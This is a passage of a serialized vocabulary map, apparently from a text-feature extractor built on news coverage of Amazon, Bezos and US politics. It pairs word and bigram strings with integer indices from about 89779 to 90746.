89779,\n  \"9b\": 89780,\n  \"mississippi childhood\": 89781,\n  \"twitter jack\": 89782,\n  \"lewiston\": 89783,\n  \"unpublished texts\": 89784,\n  \"klosters switzerland\": 89785,\n  \"austin campus\": 89786,\n  \"upcoming vote\": 89787,\n  \"manipulation fake\": 89788,\n  \"putin appearing\": 89789,\n  \"everyday tasks\": 89790,\n  \"note reuters\": 89791,\n  \"selling amazon\": 89792,\n  \"nato welcome\": 89793,\n  \"redwood city\": 89794,\n  \"aws spokesperson\": 89795,\n  \"publishing fake\": 89796,\n  \"kids science\": 89797,\n  \"analyst forecasts\": 89798,\n  \"clinton lends\": 89799,\n  \"thing financial\": 89800,\n  \"sterkste\": 89801,\n  \"information cameras\": 89802,\n  \"stewart\": 89803,\n  \"combined values\": 89804,\n  \"hits google\": 89805,\n  \"played audio\": 89806,\n  \"happily\": 89807,\n  \"high concentrations\": 89808,\n  \"anomaly\": 89809,\n  \"david paterson\": 89810,\n  \"candidates sen\": 89811,\n  \"tariff slamming\": 89812,\n  \"tendentious\": 89813,\n  \"covers technology\": 89814,\n  \"christian wetherbee\": 89815,\n  \"promotion ellison\": 89816,\n  \"simple solution\": 89817,\n  \"america doesn\": 89818,\n  \"entirely think\": 89819,\n  \"amazon heft\": 89820,\n  \"irelandandhit facebook\": 89821,\n  \"election unlike\": 89822,\n  \"democrats opposed\": 89823,\n  \"congratulatory project\": 89824,\n  \"agreements\": 89825,\n  \"write bloomberg\": 89826,\n  \"sold 606\": 89827,\n  \"street ideologue\": 89828,\n  \"sawamazon raise\": 89829,\n  \"packages directly\": 89830,\n  \"neighborhood istoric\": 89831,\n  \"iphone giant\": 89832,\n  \"city historical\": 89833,\n  \"new h2q\": 89834,\n  \"asian american\": 89835,\n  \"expecting crash\": 89836,\n  \"aiding automating\": 89837,\n  \"fact ibm\": 89838,\n  \"lightweight expedited\": 89839,\n  \"impulses read\": 89840,\n  \"win pentagon\": 89841,\n  \"sandy\": 89842,\n  \"credibilityit\": 89843,\n  \"retweeted photo\": 89844,\n  \"trump surveillance\": 89845,\n  \"controversially\": 89846,\n  \"acquisition law\": 89847,\n  \"william kovacic\": 89848,\n  \"805 billion\": 89849,\n  \"market according\": 89850,\n  \"scientology\": 89851,\n  \"immediate new\": 89852,\n  \"mattresses\": 89853,\n  \"knew\": 89854,\n  \"reportedly thought\": 89855,\n  \"8514 nlindstrom\": 89856,\n  \"global leader\": 89857,\n  \"restoration act\": 89858,\n  \"lightly breeze\": 89859,\n  \"mackenzie bezoes\": 89860,\n  \"forbes latest\": 89861,\n  \"pariah\": 89862,\n  \"bezos doesn\": 89863,\n  \"sands future\": 89864,\n  \"suttles\": 89865,\n  \"robotic land\": 89866,\n  \"muslim immigrants\": 89867,\n  \"relations board\": 89868,\n  \"pentagon city\": 89869,\n  \"internet eliciting\": 89870,\n  \"nearly 700\": 89871,\n  \"memoirs bringing\": 89872,\n  \"materialize politico\": 89873,\n  \"fourths\": 89874,\n  \"amed\": 89875,\n  \"boston public\": 89876,\n  \"highly paid\": 89877,\n  \"backlash according\": 89878,\n  \"ultimately gathered\": 89879,\n  \"genocide following\": 89880,\n  \"husband fellowship\": 89881,\n  \"devil bible\": 89882,\n  \"presidential plane\": 89883,\n  \"mouth\": 89884,\n  \"specialty grocery\": 89885,\n  \"getty mark\": 89886,\n  \"increasingly desperate\": 89887,\n  \"billion agreement\": 89888,\n  \"vestager added\": 89889,\n  \"attributable costs\": 89890,\n  \"wisconsin american\": 89891,\n  \"investor note\": 89892,\n  \"tempered\": 89893,\n  \"equity investor\": 89894,\n  \"threateningly overnight\": 89895,\n  \"kyrsten sinema\": 89896,\n  \"importantly lamster\": 89897,\n  \"blasioand\": 89898,\n  \"prevent gun\": 89899,\n  \"rupert grint\": 89900,\n  \"amazonphone according\": 89901,\n  \"alex gibney\": 89902,\n  \"stock rally\": 89903,\n  \"house rose\": 89904,\n  \"city leading\": 89905,\n  \"offended\": 89906,\n  \"muddle\": 89907,\n  \"underwater\": 89908,\n  \"activist investor\": 89909,\n  \"596\": 89910,\n  \"fans\": 89911,\n  \"troubling manner\": 89912,\n  \"remain leery\": 89913,\n  \"prosecutors scrutiny\": 89914,\n  \"defending businesses\": 89915,\n  \"efficiently empowering\": 89916,\n  \"independence steve\": 89917,\n  \"palantir dominance\": 89918,\n  \"blazingly\": 89919,\n  \"idea ou\": 89920,\n  \"monthly record\": 89921,\n  \"amazon produce\": 89922,\n  \"unreliable\": 89923,\n  \"carson buying\": 89924,\n  \"gear\": 89925,\n  \"haven formally\": 89926,\n  \"isolationist stands\": 89927,\n  \"seattle caved\": 89928,\n  \"incremental data\": 89929,\n  \"story stanford\": 89930,\n  \"settles\": 89931,\n  \"downbeat mood\": 89932,\n  \"highly gerrymandered\": 89933,\n  \"posits things\": 89934,\n  \"unea\": 89935,\n  \"complimentary upgrade\": 89936,\n  \"story posted\": 89937,\n  \"broader plan\": 89938,\n  \"amazon coming\": 89939,\n  \"trucking\": 89940,\n  \"branch offices\": 89941,\n  \"madonna sexist\": 89942,\n  \"collected sales\": 89943,\n  \"blount\": 89944,\n  \"2009 barack\": 89945,\n  \"biggest disruptor\": 89946,\n  \"years bs_link\": 89947,\n  \"planet welcome\": 89948,\n  \"1on8bqw florida\": 89949,\n  \"messy desks\": 89950,\n  \"house members\": 89951,\n  \"president calla\": 89952,\n  \"reportedly suffering\": 89953,\n  \"worrisome inflation\": 89954,\n  \"travel companies\": 89955,\n  \"fortune previously\": 89956,\n  \"switzerland based\": 89957,\n  \"spread argentine\": 89958,\n  \"shipping arrangements\": 89959,\n  \"smart tvs\": 89960,\n  \"631 shares\": 89961,\n  \"social yeah\": 89962,\n  \"inheritance 2018\": 89963,\n  \"cnn pagevis\": 89964,\n  \"intentionally harming\": 89965,\n  \"business usps\": 89966,\n  \"emissions future\": 89967,\n  \"kingdom rivals\": 89968,\n  \"davidson business\": 89969,\n  \"holds weak\": 89970,\n  \"including banning\": 89971,\n  \"past year\": 89972,\n  \"great country\": 89973,\n  \"post written\": 89974,\n  \"russia relationship\": 89975,\n  \"shadows bright\": 89976,\n  \"year fortune\": 89977,\n  \"0992\": 89978,\n  \"france took\": 89979,\n  \"biological resarch\": 89980,\n  \"deutch\": 89981,\n  \"mccorkle heard\": 89982,\n  \"faa authorization\": 89983,\n  \"million households\": 89984,\n  \"chipped away\": 89985,\n  \"thing suggests\": 89986,\n  \"brooks cpl\": 89987,\n  \"tearful\": 89988,\n  \"simple folks\": 89989,\n  \"does netflix\": 89990,\n  \"skeleton\": 89991,\n  \"cable television\": 89992,\n  \"overall ad\": 89993,\n  \"allow federal\": 89994,\n  \"120 million\": 89995,\n  \"department takes\": 89996,\n  \"field early\": 89997,\n  \"entice entrepreneurs\": 89998,\n  \"numbers regulator\": 89999,\n  \"2019 mediaite\": 90000,\n  \"global counterfeiters\": 90001,\n  \"bike\": 90002,\n  \"significant spend\": 90003,\n  \"trout\": 90004,\n  \"email showing\": 90005,\n  \"intraif self\": 90006,\n  \"conservative affiliation\": 90007,\n  \"narrowed\": 90008,\n  \"scott lincicome\": 90009,\n  \"appears healthy\": 90010,\n  \"cut\": 90011,\n  \"medium businesses\": 90012,\n  \"flying phil\": 90013,\n  \"amazon negotiator\": 90014,\n  \"exclusive 600\": 90015,\n  \"water unlawfully\": 90016,\n  \"custom designed\": 90017,\n  \"brilliant life\": 90018,\n  \"amazon revenue\": 90019,\n  \"protested similar\": 90020,\n  \"costliest tweets\": 90021,\n  \"kernersville\": 90022,\n  \"blowback\": 90023,\n  \"memoir set\": 90024,\n  \"responsibly\": 90025,\n  \"wasn mentioned\": 90026,\n  \"literally getting\": 90027,\n  \"anchor yes\": 90028,\n  \"correspondent tom\": 90029,\n  \"pwc marta\": 90030,\n  \"transportation authority\": 90031,\n  \"things changing\": 90032,\n  \"lee chairs\": 90033,\n  \"generational fight\": 90034,\n  \"gains largest\": 90035,\n  \"good times\": 90036,\n  \"cra eligible\": 90037,\n  \"small revolution\": 90038,\n  \"spokane facebook\": 90039,\n  \"advance development\": 90040,\n  \"usps private\": 90041,\n  \"distributor lined\": 90042,\n  \"claimed affairs\": 90043,\n  \"queer\": 90044,\n  \"culture indigenous\": 90045,\n  \"longer oversees\": 90046,\n  \"faces 8m\": 90047,\n  \"everyday antics\": 90048,\n  \"confetti settles\": 90049,\n  \"moves acquisitions\": 90050,\n  \"led robertson\": 90051,\n  \"started work\": 90052,\n  \"jim rutenberg\": 90053,\n  \"blame congress\": 90054,\n  \"bryan\": 90055,\n  \"program shortly\": 90056,\n  \"global travel\": 90057,\n  \"quote mexicans\": 90058,\n  \"older starting\": 90059,\n  \"cohen case\": 90060,\n  \"new majority\": 90061,\n  \"inherently better\": 90062,\n  \"factoring\": 90063,\n  \"raise distinct\": 90064,\n  \"tormentors demands\": 90065,\n  \"roundtable unpacks\": 90066,\n  \"swiss retail\": 90067,\n  \"agree\": 90068,\n  \"friendly bookerly\": 90069,\n  \"jones rant\": 90070,\n  \"flagship fund\": 90071,\n  \"elephant reuters\": 90072,\n  \"markets image\": 90073,\n  \"finance matters\": 90074,\n  \"dolezal illegally\": 90075,\n  \"actually beneficial\": 90076,\n  \"carving amazon\": 90077,\n  \"mandela\": 90078,\n  \"employees medical\": 90079,\n  \"fuel costs\": 90080,\n  \"work king\": 90081,\n  \"people sign\": 90082,\n  \"train\": 90083,\n  \"downtowns\": 90084,\n  \"nov waives\": 90085,\n  \"saudis role\": 90086,\n  \"amazon overestimated\": 90087,\n  \"gratefuls\": 90088,\n  \"climate strikes\": 90089,\n  \"briefed reporters\": 90090,\n  \"glimpsed\": 90091,\n  \"trade group\": 90092,\n  \"board neb\": 90093,\n  \"pick replacement\": 90094,\n  \"free tech\": 90095,\n  \"flat europe\": 90096,\n  \"trump conspiracy\": 90097,\n  \"people marriages\": 90098,\n  \"certainly implied\": 90099,\n  \"favorite reads\": 90100,\n  \"ofstamps envelopes\": 90101,\n  \"better invest\": 90102,\n  \"storage workers\": 90103,\n  \"fbi probe\": 90104,\n  \"commerce profit\": 90105,\n  \"released genomic\": 90106,\n  \"governments actually\": 90107,\n  \"pay hush\": 90108,\n  \"different sectors\": 90109,\n  \"climate impact\": 90110,\n  \"ferrari began\": 90111,\n  \"deportation force\": 90112,\n  \"service wasn\": 90113,\n  \"outsider tycoons\": 90114,\n  \"tormentors\": 90115,\n  \"state relive\": 90116,\n  \"long saga\": 90117,\n  \"regular weekly\": 90118,\n  \"chastised\": 90119,\n  \"gang raped\": 90120,\n  \"regional leaders\": 90121,\n  \"italian sicilian\": 90122,\n  \"began aug\": 90123,\n  \"cart\": 90124,\n  \"administration opens\": 90125,\n  \"sanders strikes\": 90126,\n  \"progressive company\": 90127,\n  \"gianaris signed\": 90128,\n  \"stephaniekelton\": 90129,\n  \"measures targeting\": 90130,\n  \"action gay\": 90131,\n  \"business matthew\": 90132,\n  \"dividend paying\": 90133,\n  \"delivery partnership\": 90134,\n  \"hypocrisy bolduan\": 90135,\n  \"tweeted unlike\": 90136,\n  \"probably pull\": 90137,\n  \"buffetts\": 90138,\n  \"kirstjen nielsen\": 90139,\n  \"used illegal\": 90140,\n  \"different experience\": 90141,\n  \"knicks mistakenly\": 90142,\n  \"tech breakup\": 90143,\n  \"nosrat\": 90144,\n  \"usps relationship\": 90145,\n  \"owe money\": 90146,\n  \"result amazon\": 90147,\n  \"act ccpa\": 90148,\n  \"rico governor\": 90149,\n  \"141 billion\": 90150,\n  \"basement foto\": 90151,\n  \"reported citing\": 90152,\n  \"taken credit\": 90153,\n  \"gardner amazon\": 90154,\n  \"kaine corey\": 90155,\n  \"richard tait\": 90156,\n  \"paparazzi\": 90157,\n  \"whiffs\": 90158,\n  \"time job\": 90159,\n  \"policy em\": 90160,\n  \"000th\": 90161,\n  \"dorothy bush\": 90162,\n  \"giant keeps\": 90163,\n  \"indian areas\": 90164,\n  \"unfinished memoirs\": 90165,\n  \"jumped roughly\": 90166,\n  \"london 7172\": 90167,\n  \"prevailed\": 90168,\n  \"environmental affairs\": 90169,\n  \"bullock prado\": 90170,\n  \"marc gurviz\": 90171,\n  \"parameswaran vice\": 90172,\n  \"pichai\": 90173,\n  \"sake don\": 90174,\n  \"john nelson\": 90175,\n  \"cross currents\": 90176,\n  \"ambitious provisions\": 90177,\n  \"indonesia tsunami\": 90178,\n  \"trilogy\": 90179,\n  \"audit committee\": 90180,\n  \"dims reuters\": 90181,\n  \"blind spots\": 90182,\n  \"described bruising\": 90183,\n  \"answers people\": 90184,\n  \"symbol msft\": 90185,\n  \"nutanix amazon\": 90186,\n  \"continuously\": 90187,\n  \"mexico border\": 90188,\n  \"research joining\": 90189,\n  \"website despite\": 90190,\n  \"riggs\": 90191,\n  \"amazon tends\": 90192,\n  \"apocryphal\": 90193,\n  \"piling\": 90194,\n  \"bezos tax\": 90195,\n  \"pollution\": 90196,\n  \"government hasn\": 90197,\n  \"stockpile\": 90198,\n  \"plagued\": 90199,\n  \"president bankruptcies\": 90200,\n  \"record set\": 90201,\n  \"slavery\": 90202,\n  \"pitches yiwu\": 90203,\n  \"management agency\": 90204,\n  \"claimed environmental\": 90205,\n  \"stop damaging\": 90206,\n  \"thecoverage play\": 90207,\n  \"site mic\": 90208,\n  \"political appointments\": 90209,\n  \"venomous\": 90210,\n  \"providing fast\": 90211,\n  \"campaign websites\": 90212,\n  \"people killed\": 90213,\n  \"leading web\": 90214,\n  \"specifically targeted\": 90215,\n  \"various sectors\": 90216,\n  \"recent fine\": 90217,\n  \"jobs internships\": 90218,\n  \"pike red\": 90219,\n  \"\\u01421 52billion\": 90220,\n  \"ofcongress\": 90221,\n  \"night live\": 90222,\n  \"know gayle\": 90223,\n  \"unfilled\": 90224,\n  \"suffering amazon\": 90225,\n  \"foot diapered\": 90226,\n  \"leads trump\": 90227,\n  \"facilities according\": 90228,\n  \"snowball\": 90229,\n  \"retail giants\": 90230,\n  \"past life\": 90231,\n  \"ernt\": 90232,\n  \"space council\": 90233,\n  \"manufacturers including\": 90234,\n  \"morningstar think\": 90235,\n  \"wisdom high\": 90236,\n  \"edc\": 90237,\n  \"numbers icann\": 90238,\n  \"china sea\": 90239,\n  \"book trumponomics\": 90240,\n  \"passed proposed\": 90241,\n  \"undone\": 90242,\n  \"prosecutors information\": 90243,\n  \"just happy\": 90244,\n  \"york isn\": 90245,\n  \"mechanic shortages\": 90246,\n  \"restrictive immigration\": 90247,\n  \"iraqi leader\": 90248,\n  \"multi million\": 90249,\n  \"holdings boomboom\": 90250,\n  \"trove\": 90251,\n  \"amounts received\": 90252,\n  \"holidays tom\": 90253,\n  \"238 localities\": 90254,\n  \"ser_footer_blurb null\": 90255,\n  \"meat packers\": 90256,\n  \"city loss\": 90257,\n  \"amazonwearenotrobots workers\": 90258,\n  \"rep elijah\": 90259,\n  \"cult van\": 90260,\n  \"delivery hubs\": 90261,\n  \"report adds\": 90262,\n  \"far lower\": 90263,\n  \"microvms software\": 90264,\n  \"taxpayer subsidization\": 90265,\n  \"suggested taxing\": 90266,\n  \"swift turnaround\": 90267,\n  \"diddy\": 90268,\n  \"recent rise\": 90269,\n  \"bezos sent\": 90270,\n  \"new asian\": 90271,\n  \"known rights\": 90272,\n  \"moral considerations\": 90273,\n  \"age jobs\": 90274,\n  \"good bad\": 90275,\n  \"going right\": 90276,\n  \"heed amazon\": 90277,\n  \"papers say\": 90278,\n  \"blown crisis\": 90279,\n  \"servicesweb based\": 90280,\n  \"closing post\": 90281,\n  \"greene eric\": 90282,\n  \"637 500\": 90283,\n  \"capacity free\": 90284,\n  \"sears modern\": 90285,\n  \"tremendous strength\": 90286,\n  \"doing research\": 90287,\n  \"candid tell\": 90288,\n  \"tempting\": 90289,\n  \"owed ireland\": 90290,\n  \"businessman bloomua\": 90291,\n  \"damaging recordings\": 90292,\n  \"conventional brick\": 90293,\n  \"thanksgiving day\": 90294,\n  \"games photo\": 90295,\n  \"walmart ebay\": 90296,\n  \"health medical\": 90297,\n  \"takeover\": 90298,\n  \"lay claim\": 90299,\n  \"session today\": 90300,\n  \"sees google\": 90301,\n  \"post including\": 90302,\n  \"jobs chalking\": 90303,\n  \"university kellogg\": 90304,\n  \"status 998658237292462080\": 90305,\n  \"joining president\": 90306,\n  \"different direction\": 90307,\n  \"wanted list\": 90308,\n  \"risk factors\": 90309,\n  \"mobile apps\": 90310,\n  \"human cell\": 90311,\n  \"president attempts\": 90312,\n  \"privacy advocates\": 90313,\n  \"harvard economics\": 90314,\n  \"dive\": 90315,\n  \"criticism\": 90316,\n  \"course orange\": 90317,\n  \"bezos expose\": 90318,\n  \"updated chart\": 90319,\n  \"interesting insights\": 90320,\n  \"slow\": 90321,\n  \"editorial warned\": 90322,\n  \"mmcjoei5lm\": 90323,\n  \"culling needs\": 90324,\n  \"sustained nature\": 90325,\n  \"jobs paying\": 90326,\n  \"available jobs\": 90327,\n  \"amazon mair\": 90328,\n  \"expensive lobbyist\": 90329,\n  \"city works\": 90330,\n  \"teespring\": 90331,\n  \"looks59 pictures\": 90332,\n  \"curses foiled\": 90333,\n  \"european tech\": 90334,\n  \"lives facebook\": 90335,\n  \"mnuchin helped\": 90336,\n  \"nbd\": 90337,\n  \"old baseless\": 90338,\n  \"honor relatively\": 90339,\n  \"netflix viewers\": 90340,\n  \"shopping voice\": 90341,\n  \"history repeating\": 90342,\n  \"hydraulic fracturing\": 90343,\n  \"denies allegations\": 90344,\n  \"bezos host\": 90345,\n  \"itstill microsoft\": 90346,\n  \"boden\": 90347,\n  \"miami ventures\": 90348,\n  \"allow giant\": 90349,\n  \"radic18\": 90350,\n  \"lady accused\": 90351,\n  \"unaccompanied youths\": 90352,\n  \"harbor statement\": 90353,\n  \"broadcom\": 90354,\n  \"episode points\": 90355,\n  \"sign ndas\": 90356,\n  \"rogen\": 90357,\n  \"spokeswoman mentioned\": 90358,\n  \"twitter 7cmain\": 90359,\n  \"gospels\": 90360,\n  \"ankle wore\": 90361,\n  \"post reuters\": 90362,\n  \"company power\": 90363,\n  \"temporarily boosted\": 90364,\n  \"told employees\": 90365,\n  \"greater\": 90366,\n  \"cnbc interview\": 90367,\n  \"story strands\": 90368,\n  \"embodiment\": 90369,\n  \"suggestions treasury\": 90370,\n  \"hitting levels\": 90371,\n  \"privacy protection\": 90372,\n  \"family harris\": 90373,\n  \"commission heroclip\": 90374,\n  \"matters amazon\": 90375,\n  \"luthor type\": 90376,\n  \"legalized recreational\": 90377,\n  \"preternaturally\": 90378,\n  \"columns enjoy\": 90379,\n  \"taxonomy\": 90380,\n  \"asia pacific\": 90381,\n  \"factors\": 90382,\n  \"potential headquarters\": 90383,\n  \"digital journal\": 90384,\n  \"ignored orders\": 90385,\n  \"bullet holes\": 90386,\n  \"members abroad\": 90387,\n  \"broadly saying\": 90388,\n  \"paying shippers\": 90389,\n  \"job theory\": 90390,\n  \"smile simply\": 90391,\n  \"street vendor\": 90392,\n  \"manhattan borough\": 90393,\n  \"whiteroseevolution fref\": 90394,\n  \"racial justice\": 90395,\n  \"alanna\": 90396,\n  \"phillips threateningly\": 90397,\n  \"job vacancies\": 90398,\n  \"chat reggie\": 90399,\n  \"quizzically\": 90400,\n  \"state newsflash\": 90401,\n  \"asshole\": 90402,\n  \"party suppliers\": 90403,\n  \"vaccine\": 90404,\n  \"congressional spouses\": 90405,\n  \"amazon australia\": 90406,\n  \"pay sales\": 90407,\n  \"devices amazon\": 90408,\n  \"getting america\": 90409,\n  \"things straight\": 90410,\n  \"taron egerton\": 90411,\n  \"democratic colleagues\": 90412,\n  \"dictator\": 90413,\n  \"2015\": 90414,\n  \"representing judith\": 90415,\n  \"fills\": 90416,\n  \"unfair terms\": 90417,\n  \"myth business\": 90418,\n  \"fakery\": 90419,\n  \"hedge industrial\": 90420,\n  \"bridges east\": 90421,\n  \"close 2018\": 90422,\n  \"iran able\": 90423,\n  \"stephanie wilkinson\": 90424,\n  \"incredibly important\": 90425,\n  \"read exactly\": 90426,\n  \"techies tech\": 90427,\n  \"gawande writings\": 90428,\n  \"author held\": 90429,\n  \"10b jedi\": 90430,\n  \"214 million\": 90431,\n  \"solomon editing\": 90432,\n  \"economic impact\": 90433,\n  \"facebook look\": 90434,\n  \"internet purgatory\": 90435,\n  \"state rex\": 90436,\n  \"fundraising face\": 90437,\n  \"retailer second\": 90438,\n  \"governed\": 90439,\n  \"provide recommendations\": 90440,\n  \"cramer 800\": 90441,\n  \"wmtsellers\": 90442,\n  \"send waves\": 90443,\n  \"nypd launched\": 90444,\n  \"remain significant\": 90445,\n  \"jobs annually\": 90446,\n  \"consumer staple\": 90447,\n  \"imageurl cdn\": 90448,\n  \"just happened\": 90449,\n  \"market hounds\": 90450,\n  \"facts looking\": 90451,\n  \"rourke chief\": 90452,\n  \"people struggling\": 90453,\n  \"book liars\": 90454,\n  \"sturdy heavy\": 90455,\n  \"amazon everyday\": 90456,\n  \"trading bloc\": 90457,\n  \"customers stating\": 90458,\n  \"todd kaminsky\": 90459,\n  \"world conjured\": 90460,\n  \"route begin\": 90461,\n  \"need action\": 90462,\n  \"becker learned\": 90463,\n  \"replied think\": 90464,\n  \"trump current\": 90465,\n  \"judge gail\": 90466,\n  \"cbc says\": 90467,\n  \"124 billion\": 90468,\n  \"firms leads\": 90469,\n  \"local commerce\": 90470,\n  \"authored paper\": 90471,\n  \"avoid fate\": 90472,\n  \"high valuation\": 90473,\n  \"kooky 90s\": 90474,\n  \"financial advisors\": 90475,\n  \"limit certain\": 90476,\n  \"reductions\": 90477,\n  \"commands americans\": 90478,\n  \"119 price\": 90479,\n  \"dark gray\": 90480,\n  \"way changing\": 90481,\n  \"presidential hopefuls\": 90482,\n  \"signals growth\": 90483,\n  \"secretly met\": 90484,\n  \"2017 leading\": 90485,\n  \"fearless\": 90486,\n  \"table netflix\": 90487,\n  \"predicated\": 90488,\n  \"debut set\": 90489,\n  \"isn important\": 90490,\n  \"sen chris\": 90491,\n  \"new smartpower\": 90492,\n  \"reuters explainer\": 90493,\n  \"bigger fight\": 90494,\n  \"mic newsletter\": 90495,\n  \"outside labor\": 90496,\n  \"lynda obst\": 90497,\n  \"saw average\": 90498,\n  \"proposed million\": 90499,\n  \"xiaomi\": 90500,\n  \"wages measly\": 90501,\n  \"providers switching\": 90502,\n  \"wire accident\": 90503,\n  \"kings eric\": 90504,\n  \"newscaster candice\": 90505,\n  \"grows larger\": 90506,\n  \"report amazon\": 90507,\n  \"documentary\": 90508,\n  \"derailed\": 90509,\n  \"comms director\": 90510,\n  \"mayor office\": 90511,\n  \"taylor morrison\": 90512,\n  \"border aid\": 90513,\n  \"press organizations\": 90514,\n  \"intermittently\": 90515,\n  \"eased investor\": 90516,\n  \"acres worth\": 90517,\n  \"time lacking\": 90518,\n  \"inadequate\": 90519,\n  \"augusto heleno\": 90520,\n  \"old haunts\": 90521,\n  \"lite\": 90522,\n  \"powerful democratic\": 90523,\n  \"enten\": 90524,\n  \"fraser firs\": 90525,\n  \"portland oregon\": 90526,\n  \"commutes\": 90527,\n  \"trial right\": 90528,\n  \"2016 brynn\": 90529,\n  \"collaborate amazon\": 90530,\n  \"mary murphy\": 90531,\n  \"lauren2go\": 90532,\n  \"plague\": 90533,\n  \"hook massacre\": 90534,\n  \"clybourne park\": 90535,\n  \"star miles\": 90536,\n  \"cents flat\": 90537,\n  \"fighters try\": 90538,\n  \"catfish dream\": 90539,\n  \"denied allegations\": 90540,\n  \"eu sanctions\": 90541,\n  \"president picking\": 90542,\n  \"command opioid\": 90543,\n  \"drake\": 90544,\n  \"outcome trade\": 90545,\n  \"states department\": 90546,\n  \"uber\": 90547,\n  \"apologized\": 90548,\n  \"trumper mair\": 90549,\n  \"member marc\": 90550,\n  \"capital firms\": 90551,\n  \"musk indispensable\": 90552,\n  \"oembed\": 90553,\n  \"selling whipped\": 90554,\n  \"financial capital\": 90555,\n  \"noble online\": 90556,\n  \"requires higher\": 90557,\n  \"desires amazon\": 90558,\n  \"trumpland\": 90559,\n  \"example nafta\": 90560,\n  \"amobi thank\": 90561,\n  \"466 conditions\": 90562,\n  \"greg miller\": 90563,\n  \"armed standoff\": 90564,\n  \"tricorder luke\": 90565,\n  \"tension photographer\": 90566,\n  \"department laura\": 90567,\n  \"involving assault\": 90568,\n  \"jobs job\": 90569,\n  \"unfortunate\": 90570,\n  \"tiger stop\": 90571,\n  \"shopping competition\": 90572,\n  \"100bn\": 90573,\n  \"richard kleindienst\": 90574,\n  \"1437392\": 90575,\n  \"signing legislation\": 90576,\n  \"administration feels\": 90577,\n  \"ceo chris\": 90578,\n  \"state governor\": 90579,\n  \"whine\": 90580,\n  \"single heterosexual\": 90581,\n  \"paying white\": 90582,\n  \"booming industries\": 90583,\n  \"megaphone\": 90584,\n  \"prosecutions\": 90585,\n  \"attacking middlemen\": 90586,\n  \"wintour says\": 90587,\n  \"validar southport\": 90588,\n  \"recommend clipping\": 90589,\n  \"president national\": 90590,\n  \"therese raphael\": 90591,\n  \"shopping service\": 90592,\n  \"stores offer\": 90593,\n  \"candidate cynthia\": 90594,\n  \"media credentials\": 90595,\n  \"tvcs\": 90596,\n  \"probably doesn\": 90597,\n  \"post enabling\": 90598,\n  \"hrb\": 90599,\n  \"care settings\": 90600,\n  \"modern testaments\": 90601,\n  \"intercepted bezos\": 90602,\n  \"homeless preying\": 90603,\n  \"right selyukh\": 90604,\n  \"walmart removes\": 90605,\n  \"finances did\": 90606,\n  \"fear sports\": 90607,\n  \"hp\": 90608,\n  \"2000 harry\": 90609,\n  \"comprises tools\": 90610,\n  \"major growth\": 90611,\n  \"drug earlier\": 90612,\n  \"shareholder base\": 90613,\n  \"000 investment\": 90614,\n  \"die facebook\": 90615,\n  \"barely worth\": 90616,\n  \"lint rollers\": 90617,\n  \"dixie\": 90618,\n  \"foreign affairs\": 90619,\n  \"sfb\": 90620,\n  \"obtained photos\": 90621,\n  \"issue penalty\": 90622,\n  \"hock\": 90623,\n  \"miracle workers\": 90624,\n  \"total hypocrites\": 90625,\n  \"new testaments\": 90626,\n  \"paris bureau\": 90627,\n  \"edgar su\": 90628,\n  \"contenders\": 90629,\n  \"investigate donald\": 90630,\n  \"challenge pete\": 90631,\n  \"rejected trade\": 90632,\n  \"investigation longtime\": 90633,\n  \"increasing trade\": 90634,\n  \"invested aggressively\": 90635,\n  \"organization business\": 90636,\n  \"usually free\": 90637,\n  \"referencing bezos\": 90638,\n  \"attorney kate\": 90639,\n  \"school prank\": 90640,\n  \"gorier\": 90641,\n  \"alphabet reports\": 90642,\n  \"fb did\": 90643,\n  \"neoliberal\": 90644,\n  \"president trump\": 90645,\n  \"brobible files\": 90646,\n  \"reduce\": 90647,\n  \"bjp\": 90648,\n  \"billionaire peter\": 90649,\n  \"scrutiny postal\": 90650,\n  \"ruling sellers\": 90651,\n  \"suit violate\": 90652,\n  \"resurfaced questions\": 90653,\n  \"crackdowns\": 90654,\n  \"apple iphone\": 90655,\n  \"day special\": 90656,\n  \"acute pain\": 90657,\n  \"essentially force\": 90658,\n  \"actually donating\": 90659,\n  \"w0q0fg0otk\": 90660,\n  \"facebook report\": 90661,\n  \"flavorwire\": 90662,\n  \"yearly flu\": 90663,\n  \"year black\": 90664,\n  \"good private\": 90665,\n  \"paper propaganda\": 90666,\n  \"weekly washington\": 90667,\n  \"hour train\": 90668,\n  \"chinese culture\": 90669,\n  \"nesting doll\": 90670,\n  \"issue white\": 90671,\n  \"question isn\": 90672,\n  \"comments cast\": 90673,\n  \"sprawl\": 90674,\n  \"strongly urged\": 90675,\n  \"public view\": 90676,\n  \"infrastructure land\": 90677,\n  \"existing assets\": 90678,\n  \"reliever\": 90679,\n  \"receiving vc\": 90680,\n  \"valari\": 90681,\n  \"key underpinning\": 90682,\n  \"waived\": 90683,\n  \"fr0004178572 almed\": 90684,\n  \"games regularly\": 90685,\n  \"press noticed\": 90686,\n  \"domestic best\": 90687,\n  \"jimmy kimmel\": 90688,\n  \"online letter\": 90689,\n  \"different voice\": 90690,\n  \"postcode war\": 90691,\n  \"russian aggression01\": 90692,\n  \"shares kaitlyn\": 90693,\n  \"bush dog\": 90694,\n  \"councilmember\": 90695,\n  \"years alphabet\": 90696,\n  \"hype wasn\": 90697,\n  \"outstanding reports\": 90698,\n  \"heil hitler\": 90699,\n  \"lee ebullient\": 90700,\n  \"henry roman\": 90701,\n  \"hq2 experts\": 90702,\n  \"frequent failures\": 90703,\n  \"133\": 90704,\n  \"privately prepared\": 90705,\n  \"pastor trump\": 90706,\n  \"fully evident\": 90707,\n  \"cloud network\": 90708,\n  \"crisis houston\": 90709,\n  \"really smart\": 90710,\n  \"intimidated releasing\": 90711,\n  \"vile trashy\": 90712,\n  \"pursue similar\": 90713,\n  \"consumer safety\": 90714,\n  \"total cross\": 90715,\n  \"source material\": 90716,\n  \"gown\": 90717,\n  \"force south\": 90718,\n  \"heitkamp liberal\": 90719,\n  \"enormous rate\": 90720,\n  \"complementary indigenous\": 90721,\n  \"outrageously exaggerated\": 90722,\n  \"bw6ikjetds\": 90723,\n  \"bezos rise\": 90724,\n  \"statement people\": 90725,\n  \"haven seen\": 90726,\n  \"transcription\": 90727,\n  \"resulting price\": 90728,\n  \"100 kilometres\": 90729,\n  \"fulfilling\": 90730,\n  \"lawsuits challenging\": 90731,\n  \"trump demonstration\": 90732,\n  \"927\": 90733,\n  \"retailers business\": 90734,\n  \"pokemon\": 90735,\n  \"article new\": 90736,\n  \"longer interested\": 90737,\n  \"month scribner\": 90738,\n  \"decade consumers\": 90739,\n  \"oza\": 90740,\n  \"hq texas\": 90741,\n  \"prices don\": 90742,\n  \"extracurricular activities\": 90743,\n  \"generation wealth\": 90744,\n  \"reportedly laid\": 90745,\n  \"entire world\": 90746,\n  \"newspaper 